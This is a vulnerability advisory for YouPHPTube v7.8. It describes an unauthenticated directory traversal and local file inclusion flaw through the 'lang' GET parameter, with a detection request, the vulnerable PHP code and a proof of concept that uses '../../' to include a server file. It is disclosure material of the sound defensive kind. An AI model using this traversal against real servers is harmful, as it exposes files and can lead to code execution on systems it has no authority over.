CVSS v3: 7.5  
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N  
CWE: CWE-829, CWE-22  
Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory  
traversal and Local File Inclusion through the parameter in an  
/?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an  
include_once in locale/function.php page.  
Proof of concept:  
To detect: http://localhost/youphptube/index.php?lang=)  
An error is generated:  
Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0  
in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47  
In function.php page, we can see:  
// filter some security here  
if (!empty($_GET['lang'])) {  
$_GET['lang'] = str_replace(array("'", '"', """, "'"),  
array('', '', '', ''), xss_esc($_GET['lang']));  
if (empty($_SESSION['language'])) {  
$_SESSION['language'] = $config->getLanguage();  
if (!empty($_GET['lang'])) {  
$_GET['lang'] = strip_tags($_GET['lang']);  
$_SESSION['language'] = $_GET['lang'];  
The parameter "lang" can be modified and load a php file in the server.  
In Document root: /phpinfo.php with this content:  
<?php echo phpinfo(); ?>  
To Get phpinfo.php:  
Note: phpinfo without ".php".  
The new Path is:  
@include_once "{$global['systemRootPath']}locale/../../phpinfo.php";  
And you can see the PHP information into the browser.
